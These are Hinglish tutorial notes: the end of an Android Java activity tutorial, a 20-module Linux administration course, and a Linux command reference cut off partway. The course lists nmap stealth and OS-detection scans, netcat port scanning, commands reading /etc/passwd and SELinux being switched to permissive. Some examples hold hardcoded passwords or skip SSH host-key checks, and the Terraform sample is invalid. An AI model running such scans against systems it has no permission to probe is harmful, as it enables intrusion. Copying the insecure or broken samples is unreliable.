        buttonReset = findViewById(R.id.buttonReset);

        // 4. SET BUTTON CLICK LISTENERS
        // Button click hone par kya hoga define karte hain
        buttonClick.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View v) {
                // Click pe counter increase karo
                clickCount++;

                // Update TextView with new count
                textViewMessage.setText("Button clicked: " + clickCount + " times");

                // Show Toast message (popup notification)
                Toast.makeText(MainActivity.this,
                    "Clicked! Count: " + clickCount,
                    Toast.LENGTH_SHORT).show();
            }
        });

        // Reset button click listener
        buttonReset.setOnClickListener(new View.OnClickListener() {
            @Override
```

```
        public void onClick(View v) {
            // Reset counter to zero
            clickCount = 0;

            // Reset TextView
            textViewMessage.setText("Counter reset. Click the button!");

            // Show reset confirmation toast
            Toast.makeText(MainActivity.this, "Counter reset!", Toast.LENGTH_SHORT).show();
        }
    });
}

// 5. LIFECYCLE METHODS - Android Activity ke important methods

// Called when activity becomes visible
@Override
protected void onStart() {
    super.onStart();
    System.out.println("onStart: Activity visible now");
}

// Called when user starts interacting
@Override
protected void onResume() {
    super.onResume();
    System.out.println("onResume: User can interact");
}

// Called when activity goes to background
@Override
protected void onPause() {
    super.onPause();
    System.out.println("onPause: Another activity coming");
}

// Called when activity is no longer visible
@Override
protected void onStop() {
    super.onStop();
    System.out.println("onStop: Activity not visible");
}

// Called when activity is destroyed
@Override
protected void onDestroy() {
    super.onDestroy();
    System.out.println("onDestroy: Activity destroyed");
}
```

>> MainActivity Explanation

WHAT:

MainActivity ke har part ka detailed explanation

EXPLANATION:

1. package com.example.myapp; - App ka unique identifier, reverse domain name notation

2. import statements - Android framework se required classes import karna

3. public class MainActivity extends AppCompatActivity - Activity class jo screen represent karti hai
   extends means AppCompatActivity ki saari properties inherit karega

4. private TextView textViewMessage; - UI component declaration (TextView display text ke liye)
   private - Sirf is class ke andar accessible

5. @Override - Annotation jo batata hai ki parent class ka method override kar rahe hain

6. protected void onCreate(Bundle savedInstanceState) - Activity create hone par call hota hai
   protected - Subclasses access kar sakti hain
   void - Kuch return nahi karta
   Bundle savedInstanceState - Previous state save karne ke liye

7. setContentView(R.layout.activity_main); - XML layout file ko activity se connect karna
   R is a generated class containing resource IDs

8. findViewById(R.id.textView) - XML layout me defined view ka reference lena

9. setOnClickListener - Button click event handler
   new View.OnClickListener() - Anonymous inner class for click handling

10. Toast.makeText() - Short popup message dikhane ke liye

11. Activity Lifecycle Methods:
    onCreate() -> onStart() -> onResume() -> (App running) -> onPause() -> onStop() -> onDestroy()

---

9. JAVA KEYWORDS COMPLETE REFERENCE

>> Important Keywords

WHAT:

Java ke important keywords aur unka use

KEYWORDS:

```
class - Defines a new class: public class MyClass { }
public - Access modifier, accessible everywhere
private - Access modifier, accessible only within class
protected - Access modifier, accessible in package and subclasses
static - Belongs to class, not instance: static int count;
final - Cannot be changed: final int MAX = 100;
void - Method returns nothing: public void myMethod()
return - Returns value from method: return 5;
this - Refers to current object: this.name = name;
super - Refers to parent class: super.method();
extends - For inheritance: class Dog extends Animal
implements - For interfaces: class MyClass implements Runnable
new - Creates new object: new MyClass();
if, else - Conditional statements
for, while, do - Loops
switch, case, break - Multi-way branching
try, catch, finally - Exception handling
throw, throws - Throwing exceptions
abstract - Abstract class/method
interface - Defines interface
enum - Defines enum type
package - Defines package for classes
import - Imports classes from packages
synchronized - Thread synchronization
volatile - Variable in multithreading
transient - Skip serialization
native - Native method (C/C++)
strictfp - Floating point precision
assert - Assertion for debugging
```

10. COMPLETE APK MAINACTIVITY EXAMPLE

>> Full Android App Code

WHAT:

Working Android app ka complete code - User Registration Form

CODE:

```
package com.example.registrationapp;

import android.os.Bundle;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
import android.widget.TextView;
import android.widget.Toast;
import androidx.appcompat.app.AppCompatActivity;

public class MainActivity extends AppCompatActivity {

    // Declare UI components
    private EditText editTextName;
    private EditText editTextEmail;
    private EditText editTextPhone;
    private EditText editTextPassword;
    private Button buttonRegister;
    private TextView textViewResult;

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        // Initialize UI components
        editTextName = findViewById(R.id.editTextName);
        editTextEmail = findViewById(R.id.editTextEmail);
        editTextPhone = findViewById(R.id.editTextPhone);
        editTextPassword = findViewById(R.id.editTextPassword);
        buttonRegister = findViewById(R.id.buttonRegister);
        textViewResult = findViewById(R.id.textViewResult);

        // Set click listener for register button
        buttonRegister.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View v) {
                // Get input values
                String name = editTextName.getText().toString().trim();
                String email = editTextEmail.getText().toString().trim();
                String phone = editTextPhone.getText().toString().trim();
                String password = editTextPassword.getText().toString().trim();

                // Validation checks
                if (name.isEmpty()) {
                    editTextName.setError("Name is required");
                    editTextName.requestFocus();
                    return;
                }

                if (email.isEmpty()) {
                    editTextEmail.setError("Email is required");
                    editTextEmail.requestFocus();
                    return;
                }

                if (!android.util.Patterns.EMAIL_ADDRESS.matcher(email).matches()) {
```

```
                editTextEmail.setError("Invalid email format");
                editTextEmail.requestFocus();
                return;
            }

            if (phone.isEmpty()) {
                editTextPhone.setError("Phone number is required");
                editTextPhone.requestFocus();
                return;
            }

            if (phone.length() < 10) {
                editTextPhone.setError("Phone number must be 10 digits");
                editTextPhone.requestFocus();
                return;
            }

            if (password.isEmpty()) {
                editTextPassword.setError("Password is required");
                editTextPassword.requestFocus();
                return;
            }

            if (password.length() < 6) {
                editTextPassword.setError("Password must be at least 6 characters");
                editTextPassword.requestFocus();
                return;
            }

            // All validation passed
            String result = "Registration Successful!\n\n" +
                            "Name: " + name + "\n" +
                            "Email: " + email + "\n" +
                            "Phone: " + phone;

            textViewResult.setText(result);
            textViewResult.setVisibility(View.VISIBLE);

            // Show success toast
            Toast.makeText(MainActivity.this, "Registration Successful!", Toast.LENGTH_LONG).show();

            // Clear all fields
            editTextName.setText("");
            editTextEmail.setText("");
            editTextPhone.setText("");
            editTextPassword.setText("");
        }
    });
}
}
```

>> Code Explanation

WHAT:

Registration app code ka step-by-step explanation

EXPLANATION:

1. EditText - User input lene ke liye (name, email, phone, password)
2. Button - Register button click karne par validation aur registration hoti hai
3. TextView - Registration result display karne ke liye

Validation Rules:
- Name: Empty nahi hona chahiye
- Email: Valid email format hona chahiye (uses Patterns.EMAIL_ADDRESS)
- Phone: 10 digits required
- Password: Minimum 6 characters

Error Handling:
- setError() - Field ke neeche error message dikhata hai
- requestFocus() - Error wale field pe focus le jaata hai

Success:
- textViewResult - Registration details show karta hai
- Toast - Success message popup dikhata hai
- Clear all fields - Sab fields reset ho jaate hain

Linux Complete Course

From Beginner to Expert Level

Generated: 22-March-2026

Total Modules: 20 | Topics: 250+

1. Module 1: Linux Introduction

>> What is Linux:

Linux ek open-source operating system hai jo UNIX par based hai. Yeh free hai aur bahut secure hota hai.

>> Linux vs Windows:

Linux free hai, customizable hai, viruses kam lagte hain. Windows paid hai aur zyada common hai.

>> Linux Distributions:

Ubuntu (beginner), CentOS (server), Fedora, Debian, Kali Linux (security), Arch (advanced)

>> Linux Architecture:

Hardware -> Kernel -> Shell -> User Applications. Kernel direct hardware se communicate karta hai

2. Module 2: Basic Commands - Complete

>> File Operations:

ls, cd, pwd, mkdir, rmdir, touch, cp, mv, rm, cat, less, head, tail

>> File Info:

file, stat, wc, du, df, ls -la, ls -lh

>> Text Processing:

echo, printf, grep, sed, awk, cut, sort, uniq, tr

>> Permissions:

chmod, chown, chgrp, umask, ACL (getfacl, setfacl)

>> Search:

find, locate, which, whereis, grep -r

3. Module 3: Advanced File Operations

>> find with exec:

find /home -name '*.log' -exec rm {} \; (find and delete)

>> find with xargs:

find . -type f -name '*.txt' | xargs grep 'error'

>> grep patterns:

grep -E 'error|warning' file.log (multiple patterns)
grep -A 5 -B 5 'error' file.log (context lines)

>> sed advanced:

sed -i.bak 's/old/new/g' file (backup before replace)
sed '/pattern/d' file (delete matching lines)
sed -n '10,20p' file (print line range)

>> awk advanced:

awk '{sum+=$1} END {print sum}' file (sum column)
awk '$3 > 1000 {print $1, $2}' file
awk -F: '{print $1, $3}' /etc/passwd

>> cut and paste:

cut -d: -f1,3 /etc/passwd
paste file1 file2 (merge columns)

>> redirects:

> (overwrite), >> (append), 2> (error), &> (both), | (pipe)

4. Module 4: Process Management - Deep

>> ps variations:

ps aux --sort=-%mem (sort by memory)
ps -ef --forest (tree view)
ps -u username (user processes)

>> top advanced:

Press 'c' (show full command)
Press 'M' (sort by memory)
Press 'P' (sort by CPU)
Press 'f' (add/remove columns)

>> nice and renice:

nice -n 19 command (lowest priority)
nice -n -20 command (highest priority, root only)
renice -n 10 -p PID

>> process limits:

ulimit -a (all limits)
ulimit -n 65535 (increase file descriptors)
ulimit -u unlimited (process limit)

>> cgroups:

Control Groups - resources limit karne ke liye
cgcreate, cgset, cgclassify

>> systemd deep:

systemctl list-units --type=service
systemctl list-dependencies (dependencies dekhna)
systemctl mask service (service block karna)

5. Module 5: Networking Mastery

>> SSH Tunneling:

Local: ssh -L 8080:localhost:80 user@server
Remote: ssh -R 8080:localhost:80 user@server
Dynamic: ssh -D 1080 user@server (SOCKS proxy)

>> Port Forwarding:

ssh -L 3306:db-server:3306 user@jump-server (database access)

>> TCPDump:

tcpdump -i eth0 (capture all)
tcpdump -i eth0 port 22 (SSH traffic)
tcpdump -w capture.pcap (save to file)
tcpdump -r capture.pcap (read file)

>> Netcat (nc):

nc -l 1234 (listen on port)
nc host 1234 (connect)
nc -zv host 1-1000 (port scanning)

>> Wireshark:

tshark -i eth0 -f 'port 80' (command line capture)

>> Nmap:

nmap -sS target (stealth scan)
nmap -sV target (version detection)
nmap -O target (OS detection)
nmap -p- target (all ports)

>> Network Bonding:

Multiple NICs combine karke bandwidth badhana
mode=0 (round-robin), mode=1 (active-backup), mode=4 (802.3ad)

6. Module 6: Storage Management

>> LVM Deep Dive:

pvcreate /dev/sdb1 (physical volume)
vgcreate vg_data /dev/sdb1 (volume group)
lvcreate -L 10G -n lv_data vg_data (logical volume)
lvextend -L +5G /dev/vg_data/lv_data (extend)
lvreduce -L -2G (reduce, careful!)

>> RAID Levels:

RAID 0: Striping - speed, no redundancy
RAID 1: Mirroring - redundancy
RAID 5: Parity - good balance
RAID 10: Mirror + Striping - best performance

>> Filesystem Types:

ext4 (standard), xfs (large files), btrfs (snapshots), zfs (advanced)

>> Mount Options:

noatime (no access time update)
nodiratime (no directory access time)
ro (read-only)
nosuid (no setuid binaries)

>> Disk Quotas:

user quotas: edquota username
group quotas: edquota -g groupname
repquota -a (report quotas)

7. Module 7: Shell Scripting - Master Class

>> Variables Types:

local var (local variable)
export var (environment variable)
readonly var (constant)
array=(1 2 3)
associative array: declare -A arr=([key]=value)

>> String Manipulation:

${#string} (length)
${string:0:5} (substring)
${string/old/new} (replace first)
${string//old/new} (replace all)
${string#pattern} (remove from start)
${string%pattern} (remove from end)

>> Arithmetic:

$((5+3))
let "sum = 5 + 3"
bc for floating point: echo "scale=2; 5/3" | bc

>> Functions with return:

```
function add() {
    echo $(($1 + $2))
}
```

result=$(add 5 3)
local var for function scope

>> Signals and Traps:

trap 'echo Ctrl+C pressed' INT
trap 'cleanup' EXIT
trap - SIGINT (reset trap)

>> Process Substitution:

diff <(ls dir1) <(ls dir2) (compare outputs)

>> Here Documents:

```
cat << EOF > file
Content
EOF
```

cat <<- EOF (strip tabs)

>> Debugging:

set -x (debug mode)
set -e (exit on error)
set -u (unset variables error)
set -o pipefail (pipe errors)

>> Advanced Examples:

```
#!/bin/bash
```

```
# Backup script with error handling
set -euo pipefail
backup_dir="/backup/$(date +%Y%m%d)"
mkdir -p "$backup_dir"
tar -czf "$backup_dir/home.tar.gz" /home/ 2>/dev/null || echo "Backup failed"
```

8. Module 8: System Administration - Pro

>> Systemd Services:

```
[Unit]
Description=My Service
After=network.target

[Service]
Type=simple
ExecStart=/usr/bin/myapp
Restart=always
User=myuser

[Install]
WantedBy=multi-user.target
```

>> Log Management:

journalctl -u service (service logs)
journalctl --since yesterday
journalctl --disk-usage (logs size)
logrotate configuration: /etc/logrotate.d/

>> Cron Advanced:

@reboot /path/to/script (boot pe run)
@yearly /path/to/backup (annual)
*/5 * * * * (every 5 minutes)
0 8-18 * * * (8 AM to 6 PM)

>> Anacron:

For systems that don't run 24/7
/etc/anacrontab configuration

>> System Monitoring:

sar -u 1 10 (CPU usage)
sar -r 1 10 (memory)
sar -n DEV 1 10 (network)
vmstat 1 (virtual memory stats)
iostat -x 1 (disk I/O)

>> Kernel Parameters:

/etc/sysctl.conf
net.ipv4.tcp_syncookies = 1
net.core.somaxconn = 1024
vm.swappiness = 10
kernel.pid_max = 65536

>> System Recovery:

Single user mode: boot with 'single' or '1'
Rescue mode: boot from live CD
fsck /dev/sda1 (filesystem check)
grub-install /dev/sda (GRUB reinstall)

9. Module 9: Security Hardening

>> SELinux Policies:

getenforce (current mode)
setenforce 0 (permissive, testing)
setenforce 1 (enforcing)
semanage port -a -t http_port_t -p tcp 8080 (add port)
restorecon -Rv /var/www (restore context)

>> AppArmor:

aa-status (status check)
aa-enforce /path/to/profile
aa-complain /path/to/profile
aa-logprof (profile generation)

>> Auditd:

auditctl -w /etc/passwd -p wa -k passwd_changes
auditctl -a always,exit -S execve -k command_execution
aureport -k (reports)
ausearch -k passwd_changes

>> Fail2ban Jails:

[sshd]
enabled = true
port = ssh
filter = sshd
logpath = /var/log/auth.log
maxretry = 3
bantime = 3600

>> ClamAV:

clamscan -r /home (scan home)
freshclam (update signatures)
clamdscan (daemon mode)

>> Lynis Auditing:

lynis audit system (security audit)
lynis show details (detailed report)

>> OpenSCAP:

oscap xccdf eval --profile xccdf_org.ssgproject.content_profile_standard /usr/share/xml/scap/ssg/content/ssg-ubuntu-2204-ds.xml

10. Module 10: Database Management

>> MySQL/MariaDB:

mysql -u root -p (login)
SHOW DATABASES;
CREATE DATABASE dbname;
mysqldump -u root -p dbname > backup.sql (backup)
mysql -u root -p dbname < backup.sql (restore)

>> PostgreSQL:

sudo -u postgres psql
\l (list databases)
\c dbname (connect)
pg_dump dbname > backup.sql
psql dbname < backup.sql

>> Redis:

redis-cli
SET key value
GET key
KEYS *
redis-benchmark (performance test)

>> MongoDB:

mongo
show dbs
use dbname
db.collection.find()

11. Module 11: Web Server Management

>> Nginx Advanced:

```
server {
    listen 80;
    server_name example.com;
    location / {
        proxy_pass http://localhost:3000;
        proxy_set_header Host $host;
    }
    location /static/ {
        alias /var/www/static/;
    }
}
```

>> Apache Virtual Hosts:

```
<VirtualHost *:80>
    ServerName example.com
    DocumentRoot /var/www/html
    ErrorLog ${APACHE_LOG_DIR}/error.log
    CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
```

>> Load Balancing:

```
upstream backend {
    server 192.168.1.10 weight=3;
    server 192.168.1.11;
    server 192.168.1.12 backup;
}
server {
    location / {
        proxy_pass http://backend;
    }
}
```

>> SSL/TLS:

```
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365
certbot --nginx -d example.com (Let's Encrypt)
```

12. Module 12: Container Orchestration

>> Docker Compose:

```
version: '3'
services:
  web:
    image: nginx
    ports:
      - '80:80'
  db:
    image: postgres
    environment:
      POSTGRES_PASSWORD: secret
```

>> Docker Network:

```
docker network create mynet
docker run --network mynet app
docker network inspect mynet
```

>> Docker Volumes:

```
docker volume create myvol
docker run -v myvol:/data app
docker run --mount source=myvol,target=/data app
```

>> Kubernetes Pods:

```
apiVersion: v1
kind: Pod
metadata:
  name: mypod
spec:
  containers:
  - name: nginx
    image: nginx
    ports:
    - containerPort: 80
```

>> K8s Services:

```
apiVersion: v1
kind: Service
metadata:
  name: my-service
spec:
  selector:
    app: myapp
  ports:
  - port: 80
    targetPort: 8080
  type: LoadBalancer
```

>> K8s Deployments:

```
apiVersion: apps/v1
```

```yaml
kind: Deployment
metadata:
  name: my-deployment
spec:
  replicas: 3
  selector:
    matchLabels:
      app: myapp
  template:
    metadata:
      labels:
        app: myapp
    spec:
      containers:
      - name: app
        image: myapp:latest
        ports:
        - containerPort: 8080
```

13. Module 13: Infrastructure as Code

>> Terraform Basics:

```
provider 'aws' {
  region = 'us-east-1'
}
resource 'aws_instance' 'web' {
  ami = 'ami-0c55b159cbfafe1f0'
  instance_type = 't2.micro'
  tags = {
    Name = 'WebServer'
  }
}
```

>> Ansible Playbooks:

```
---
- name: Install web server
  hosts: webservers
  become: yes
  tasks:
    - name: Install nginx
      apt:
        name: nginx
        state: present
    - name: Start nginx
      service:
        name: nginx
        state: started
```

>> Ansible Roles:

```
roles/
  common/
    tasks/
      main.yml
    handlers/
    templates/
    files/
  webserver/
    tasks/
      main.yml
```

>> Puppet:

```
class nginx {
  package { 'nginx':
    ensure => installed,
  }
  service { 'nginx':
    ensure => running,
    require => Package['nginx'],
  }
}
```

>> Chef:

```
package 'nginx' do
  action :install
end

service 'nginx' do
  action [:enable, :start]
end
```

14. Module 14: Monitoring & Logging

>> Prometheus:

```
scrape_configs:
  - job_name: 'node'
    static_configs:
    - targets: ['localhost:9100']
  - job_name: 'nginx'
    static_configs:
    - targets: ['localhost:9113']
```

>> Grafana Dashboards:

Data sources: Prometheus, MySQL, PostgreSQL
Panels: Graph, Stat, Table, Heatmap
Variables: $host, $instance
Alerting: Configure alerts on metrics

>> ELK Stack:

Filebeat -> Logstash -> Elasticsearch -> Kibana
Filebeat config: /etc/filebeat/filebeat.yml
Logstash pipelines: /etc/logstash/conf.d/
Elasticsearch indices: /_cat/indices
Kibana visualizations: Create dashboards

>> PromQL Queries:

```
node_cpu_seconds_total{mode='user'}
rate(node_cpu_seconds_total[5m])
100 - (avg by(instance) (irate(node_cpu_seconds_total{mode='idle'}[5m])) * 100)
```

>> Alertmanager:

```
route:
  group_by: ['alertname']
  receiver: 'email'
receivers:
- name: 'email'
  email_configs:
  - to: 'admin@example.com'
```

15. Module 15: Cloud Platforms

>> AWS CLI:

aws configure (setup)
aws ec2 describe-instances
aws s3 ls
aws s3 cp file s3://bucket/
aws ec2 run-instances --image-id ami-123 --instance-type t2.micro

>> AWS EC2 Management:

Security groups, Key pairs, Elastic IPs
EBS volumes: snapshots, encryption
Auto Scaling: Launch templates, scaling policies
Load Balancers: ALB, NLB

>> GCP gcloud:

gcloud compute instances create my-instance
gcloud compute ssh my-instance
gcloud storage cp file gs://bucket/
gcloud container clusters create my-cluster

>> Azure CLI:

az vm create --name myVM --resource-group myRG --image UbuntuLTS
az vm list
az storage blob upload
az aks create --name myAKS --resource-group myRG

16. Module 16: Python Automation

>> Paramiko SSH:

```
import paramiko
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect('host', username='user', password='pass')
stdin, stdout, stderr = client.exec_command('ls -la')
```

>> Fabric:

```
from fabric import Connection
c = Connection('user@host')
result = c.run('uname -s', hide=True)
print(result.stdout)
```

>> Ansible Python API:

```
from ansible.executor.task_queue_manager import TaskQueueManager
from ansible.inventory.manager import InventoryManager
from ansible.parsing.dataloader import DataLoader
```

>> Boto3 AWS:

```
import boto3
ec2 = boto3.client('ec2')
instances = ec2.describe_instances()
s3 = boto3.client('s3')
buckets = s3.list_buckets()
```

17. Module 17: Git & Version Control

>> Git Basics:

```
git init
 git add file
 git commit -m 'message'
 git push origin main
 git pull
 git clone url
```

>> Branching:

```
git branch feature
 git checkout feature
 git merge feature
 git rebase main
 git cherry-pick commit-id
```

>> Git Workflows:

```
GitFlow: master, develop, feature/, release/, hotfix/
GitHub Flow: main, feature branches
GitLab Flow: environment branches
```

>> Advanced Git:

```
git rebase -i HEAD~3 (interactive rebase)
git stash (temporary save)
git bisect (find bug)
git reflog (recover lost commits)
git submodule (nested repos)
```

18. Module 18: Troubleshooting Scenarios

>> Scenario 1 - High CPU:

Steps:
1. top/htop se high CPU process find karo
2. strace -p PID (system calls dekhna)
3. lsof -p PID (open files)
4. gdb attach PID (debug if needed)
5. Kill or renice process

>> Scenario 2 - Disk Full:

Steps:
1. df -h (disk usage)
2. du -sh /* (largest directories)
3. find / -type f -size +100M (large files)
4. lsof | grep deleted (deleted files still open)
5. Clean logs, temp, docker, snapshots

>> Scenario 3 - Network Slow:

Steps:
1. ping -c 10 host (latency check)
2. mtr host (path analysis)
3. iperf3 -c host (bandwidth test)
4. iftop (real-time bandwidth)
5. netstat -i (interface stats)
6. ethtool eth0 (NIC stats)

>> Scenario 4 - Application Crash:

Steps:
1. journalctl -u service (service logs)
2. dmesg | tail (kernel messages)
3. coredumpctl list (core dumps)
4. gdb binary core (debug core dump)
5. strace -f -p PID (trace process)

>> Scenario 5 - Security Breach:

Steps:
1. last, lastb (login history)
2. ausearch -m (audit logs)
3. ps auxf (suspicious processes)
4. netstat -tulpn (unusual ports)
5. rpm -Va (verify packages)
6. rkhunter, chkrootkit scan

19. Module 19: Interview Preparation

>> 50 Common Questions:

1. Linux boot process explain karo?
2. Inode kya hai?
3. Hard link vs soft link?
4. Zombie process kya hai?
5. Swap space kya hai?
6. Load average meaning?
7. chmod 755 meaning?
8. SUID, SGID, Sticky bit?
9. /proc filesystem kya hai?
10. Kernel vs Shell difference?
11. Systemd vs init?
12. LVM advantages?
13. RAID levels explained?
14. SSH tunneling kaise kaam karta hai?
15. SELinux vs AppArmor?
16. Docker vs VM?
17. Kubernetes architecture?
18. CI/CD pipeline kya hai?
19. Infrastructure as Code?
20. Monitoring tools?

(and 30 more...)

>> Practical Tasks:

1. Write script to monitor disk space and email alert
2. Configure LAMP stack with virtual hosts
3. Setup SSH key authentication
4. Create systemd service for custom app
5. Setup firewall rules for web server
6. Configure logrotate for application logs
7. Create user with specific permissions
8. Setup cron job for database backup
9. Configure Nginx reverse proxy
10. Setup Docker container with volume mount

20. Module 20: Linux Certifications

>> LPIC-1 (101 & 102):

Exam 101: System Architecture, Linux Installation, GNU/Unix Commands
Exam 102: Shells, Scripting, Networking, Security
Study time: 2-3 months
Practice: labs, command line everyday

>> RHCSA (EX200):

Topics: Essential tools, Filesystems, Users/Group, Security, Containers
Exam format: 2.5 hours, practical tasks
Prerequisites: Hands-on experience 6-12 months
Cost: $400 USD

>> RHCE (EX294):

Topics: Ansible automation, Shell scripting, Advanced networking
Prerequisites: RHCSA certified
Exam format: 4 hours, real-world scenarios

>> CompTIA Linux+:

Vendor neutral, covers multiple distributions
Topics: Hardware, System Configuration, Security, Scripting
Exam code: XK0-005
Valid for 3 years

>> CKA (Certified Kubernetes Admin):

Kubernetes cluster management
Topics: Installation, Configuration, Networking, Security
Performance-based exam
Cost: $375 USD

Linux Command Guide

Complete Practical Reference

Generated: 22-March-2026

Table of Contents

1. 1. FILE OPERATIONS
2. 2. FILE CONTENT VIEWERS
3. 3. PERMISSIONS
4. 4. PROCESS MANAGEMENT
5. 5. NETWORKING
6. 6. SEARCH & FILTER
7. 7. SYSTEM INFORMATION
8. 8. ARCHIVE & COMPRESS

1. FILE OPERATIONS

$ ls

WHAT:

Directory ki content dikhata hai

WHEN TO USE:

Jab bhi folder me kya hai dekhna ho

WHEN NOT TO USE:

Jab hidden files nahi dekhni ho toh ls use karo, ls -la nahi

EXAMPLES:

```
ls              : Simple listing
ls -l           : Detailed listing with permissions, size, date
ls -a           : All files including hidden (.files)
ls -la          : Detailed + hidden files
ls -lh          : Human readable sizes (KB, MB, GB)
ls -lt          : Sort by modification time (latest first)
ls -ltr         : Reverse time sort (oldest first)
ls -R           : Recursive listing (all subdirectories)
ls *.txt        : List only txt files
ls /home/user   : List specific directory
```

$ cd

WHAT:

Directory change karta hai

WHEN TO USE:

Jab ek folder se dusre folder me jaana ho

WHEN NOT TO USE:

Jab path galat ho ya permission nahi ho

EXAMPLES:

```
cd /var/log     : Go to /var/log directory
cd ~            : Go to home directory
cd ..           : Go one level up
cd ../..        : Go two levels up
cd -            : Go to previous directory
cd /            : Go to root directory
cd Documents    : Go to Documents folder (relative path)
```

$ pwd

WHAT:

Current working directory ka path dikhata hai

WHEN TO USE:

Jab yeh pata karna ho ki aap konse folder me ho

WHEN NOT TO USE:

Kabhi bhi use kar sakte ho, koi problem nahi

EXAMPLES:

```
pwd             : Shows current path like /home/username/Documents
pwd -P          : Shows physical path (resolves symlinks)
```

$ mkdir

WHAT:

Naya folder (directory) banata hai

WHEN TO USE:

Jab naya folder create karna ho

WHEN NOT TO USE:

Jab folder already exist karta ho (error aayega)

EXAMPLES:

```
mkdir myfolder              : Create single folder
mkdir folder1 folder2       : Create multiple folders
mkdir -p path/to/nested     : Create nested folders (parents bhi ban jayenge)
mkdir -m 755 myfolder       : Create with specific permissions
mkdir 'My Documents'        : Create folder with space in name
```

$ rmdir

WHAT:

Empty folder delete karta hai

WHEN TO USE:

Jab empty folder delete karna ho

WHEN NOT TO USE:

Jab folder me files ho (rm -r use karo)

EXAMPLES:

```
rmdir emptyfolder           : Delete empty folder
rmdir -p path/to/folder     : Delete folder and its parents if empty
```

$ rm

WHAT:

Files aur folders delete karta hai

WHEN TO USE:

Jab files permanently delete karni ho

WHEN NOT TO USE:

Jab file important ho (backup le lo pehle), rm -rf se bachna

EXAMPLES:

```
rm file.txt                 : Delete single file
rm file1.txt file2.txt      : Delete multiple files
rm *.log                    : Delete all log files
rm -i file.txt              : Ask confirmation before delete
rm -r folder                : Delete folder and its contents
rm -rf folder               : Force delete without confirmation (DANGEROUS!)
rm -f file.txt              : Force delete (ignore errors)
```

$ cp

WHAT:

Files aur folders copy karta hai

WHEN TO USE:

Jab backup lena ho ya file duplicate karni ho

WHEN NOT TO USE:

Jab source file exist nahi karta

EXAMPLES:

```
cp file.txt file_copy.txt           : Copy file
cp file.txt /path/to/destination/   : Copy to another directory
cp -r folder folder_copy            : Copy folder recursively
cp -i file.txt dest/                : Ask before overwrite
cp -u source.txt dest/              : Copy only if newer
cp -v file.txt dest/                : Verbose (show what's copied)
```

```
cp -p file.txt dest/                : Preserve permissions and timestamps
```

$ mv

WHAT:

Files move ya rename karta hai

WHEN TO USE:

Jab file ka location change karna ho ya naam badalna ho

WHEN NOT TO USE:

Jab destination already exist karta hai (overwrite hoga)

EXAMPLES:

```
mv old.txt new.txt                  : Rename file
mv file.txt /path/to/destination/   : Move file
mv -i file.txt dest/                : Ask before overwrite
mv -u source.txt dest/              : Move only if newer
mv folder1 folder2                  : Rename folder
```

$ touch

WHAT:

Empty file banata hai ya file timestamp update karta hai

WHEN TO USE:

Jab naya file create karna ho ya timestamp change karna ho

WHEN NOT TO USE:

Jab file me content dalna ho (use echo or vi)

EXAMPLES:

```
touch newfile.txt                   : Create empty file
touch file1.txt file2.txt           : Create multiple files
touch -t 202401011200 file.txt      : Set specific timestamp
touch -r reference.txt file.txt     : Copy timestamp from another file
```

---

2. FILE CONTENT VIEWERS

$ cat

WHAT:

File ki content display karta hai

WHEN TO USE:

Jab chhoti file dekhni ho

WHEN NOT TO USE:

Jab file bahut badi ho (use less ya head/tail)

EXAMPLES:

```
cat file.txt                        : Display file content
cat file1.txt file2.txt             : Display multiple files
cat > file.txt                      : Create new file (Ctrl+D to save)
cat >> file.txt                     : Append to file
cat -n file.txt                     : Show with line numbers
cat file.txt | grep 'error'         : Search in file
```

$ less

WHAT:

Badi files ko page by page dekhne ke liye

WHEN TO USE:

Jab file bahut badi ho aur scroll karna ho

WHEN NOT TO USE:

Jab file chhoti ho (cat fast hai)

EXAMPLES:

```
less largefile.log                  : Open file in pager
less -N file.txt                    : Show line numbers
less -S file.txt                    : Chop long lines (no wrap)
# Inside less commands:
  /pattern      : Search forward
  ?pattern      : Search backward
  n             : Next match
  N             : Previous match
  g             : Go to beginning
  G             : Go to end
  q             : Quit
```

$ head

WHAT:

File ki starting lines dikhata hai

WHEN TO USE:

Jab file ki shuruaat dekhni ho

WHEN NOT TO USE:

Jab end dekhna ho (tail use karo)

EXAMPLES:

```
head file.txt                       : Show first 10 lines
head -n 20 file.txt                 : Show first 20 lines
head -n 5 file1.txt file2.txt       : Show first 5 lines of multiple files
head -c 100 file.txt                : Show first 100 bytes
```

$ tail

WHAT:

File ki ending lines dikhata hai

WHEN TO USE:

Jab log file ki latest entries dekhni ho

WHEN NOT TO USE:

Jab old logs dekhne ho (use less)

EXAMPLES:

```
tail file.txt                    : Show last 10 lines
tail -n 20 file.txt              : Show last 20 lines
tail -f /var/log/syslog          : Follow mode (real-time updates)
tail -f -n 50 app.log            : Last 50 lines + follow
tail -c 100 file.txt             : Show last 100 bytes
```

---

3. PERMISSIONS

$ chmod

WHAT:

File aur folder ke permissions change karta hai

WHEN TO USE:

Jab file execute karna ho ya access dena ho

WHEN NOT TO USE:

Jab root permission nahi hai aur owner nahi ho

EXAMPLES:

```
chmod 755 script.sh                : rwxr-xr-x (owner all, group/others read+execute)
chmod 644 file.txt                 : rw-r--r-- (owner read+write, others only read)
chmod 600 secret.txt               : rw------- (only owner can read/write)
chmod u+x script.sh                : Add execute permission for owner
chmod g-w file.txt                 : Remove write from group
chmod o+r file.txt                 : Add read for others
chmod -R 755 folder/               : Recursive (all subfiles)
chmod a+x script.sh                : Add execute for all
```

$ chown

WHAT:

File ka owner aur group change karta hai

WHEN TO USE:

Jab file ka ownership transfer karna ho

WHEN NOT TO USE:

Jab root user nahi ho (only root can change ownership)

EXAMPLES:

```
chown username file.txt            : Change owner
chown username:groupname file.txt  : Change owner and group
chown :groupname file.txt          : Change only group
chown -R username folder/          : Recursive ownership change
chown --reference=ref.txt file.txt : Copy ownership from another file
```

$ chgrp

WHAT:

Sirf group change karta hai

WHEN TO USE:

Jab sirf group change karna ho, owner nahi

WHEN NOT TO USE:

Jab owner bhi change karna ho (chown use karo)

EXAMPLES:

```
chgrp developers file.txt          : Change group to developers
chgrp -R staff folder/             : Recursive group change
```

$ umask

WHAT:

